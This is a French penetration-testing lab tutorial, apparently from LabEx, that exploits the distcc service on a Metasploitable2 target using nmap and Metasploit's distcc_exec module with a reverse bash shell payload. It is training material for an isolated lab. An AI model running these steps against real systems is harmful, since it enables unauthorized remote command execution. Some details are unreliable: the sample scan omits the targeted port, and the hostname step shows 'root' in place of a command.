Introduction
Dans ce laboratoire, nous effectuerons des tests de pénétration sur la machine cible Metasploitable2 fournie par LabEx en utilisant le terminal Kali. L'accent sera mis sur la compréhension des principes et du processus d'attaque du service Distcc. À la fin du laboratoire, des lectures recommandées et des devoirs sont proposés.
Démarrer l'environnement de laboratoire
- Ouvrez un terminal xfce sur la machine hôte LabEx et démarrez la machine cible Metasploitable2 en exécutant la commande suivante :
sudo virsh start Metasploitable2
Attendez que la machine cible démarre, cela peut prendre de 1 à 3 minutes.
- Testez la connectivité à la machine cible en l'envoyant des paquets ICMP (ping) :
ping 192.168.122.102
Appuyez sur Ctrl+C pour arrêter le ping.
- Lancez le conteneur Kali Linux et entrez dans l'environnement bash en exécutant :
docker run -ti --network host b5b709a49cd5 bash
- À l'intérieur du conteneur Kali, testez la connexion réseau à la machine cible :
ping 192.168.122.102
Appuyez sur Ctrl+C pour arrêter le ping.
Maintenant, la machine d'attaque et la machine cible sont en cours d'exécution, et vous pouvez commencer les tests de pénétration.
Remarque : Si vous quittez accidentellement le bash actuel, le conteneur Kali s'arrêtera automatiquement. Vous pouvez exécuter docker run -ti --network host b5b709a49cd5 bash à nouveau sur l'hôte pour démarrer un nouveau conteneur Kali et entrer dans le bash pour continuer l'expérience.
Effectuer un test de pénétration
Principe de la vulnérabilité du service Distcc :
Distcc est utilisé pour la compilation distribuée de grands ensembles de code sur des serveurs réseau. Cependant, s'il est mal configuré, il peut être exploité pour exécuter des commandes. Cette vulnérabilité est présente dans XCode 1.5 et d'autres versions de Distcc 2.x en raison de l'absence de restrictions d'accès au port du serveur.
En termes simples, le service manque de vérifications appropriées sur les ports et les tâches exécutées, permettant aux attaquants d'exploiter les tâches de compilation distribuées pour exécuter leurs propres commandes.
Indices de vulnérabilité :
Code du module d'attaque de la vulnérabilité :
Tout d'abord, démarrez msfconsole pour entrer dans l'interface d'opération :
cd ~
msfconsole
Utilisez l'outil de scan Nmap pour scanner les ports ouverts de l'hôte cible :
nmap -sV -T4 192.168.122.102
Voici un exemple de sortie que vous pourriez voir :
[*] exec: nmap -sV -T4 192.168.122.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp open domain ISC BIND 9.4.2
111/tcp open rpcbind 2 (RPC #100000)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds
Sur la base des résultats du scan, recherchez le module correspondant au service de port que vous souhaitez attaquer :
search distcc
Dans le terminal Kali MSF, utilisez la commande use pour sélectionner le module approprié :
use exploit/unix/misc/distcc_exec
Ensuite, utilisez la commande show options pour afficher les paramètres du module :
show options
Voici un exemple de sortie que vous pourriez voir :
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
it.html
RPORT 3632 yes The target port (TCP)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.28.140.88 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
Définissez le paramètre de l'hôte cible RHOST sur 192.168.122.102
set RHOST 192.168.122.102
Une fois tout configuré, utilisez la commande exploit pour attaquer l'hôte :
exploit
Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection
Vérifier la réussite de la pénétration
Pour vérifier si la pénétration a réussi, utilisez les commandes suivantes : whoami, hostname et ifconfig (pour vérifier l'adresse IP) :
Tout d'abord, si vous n'êtes pas dans la console Metasploit, vous devriez démarrer la console Metasploit :
cd ~
msfconsole
Vérifiez l'utilisateur actuel :
whoami
Vérifiez le nom d'hôte :
root
Vérifiez l'adresse IP de l'hôte compromis :
ifconfig
Si le nom d'hôte et l'adresse IP correspondent à la machine cible (192.168.122.102), cela indique que le test de pénétration a réussi.
Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection
Résumé
Dans ce laboratoire, nous avons appris les principes et le processus d'attaque du service Distcc. Nous avons acquis une expérience pratique en matière de scan de pénétration avec Nmap, d'utilisation de Metasploit pour exploiter la vulnérabilité Distcc et de vérification de la réussite de la pénétration. Le laboratoire a permis de comprendre de manière pratique les techniques d'analyse et d'exploitation des vulnérabilités.



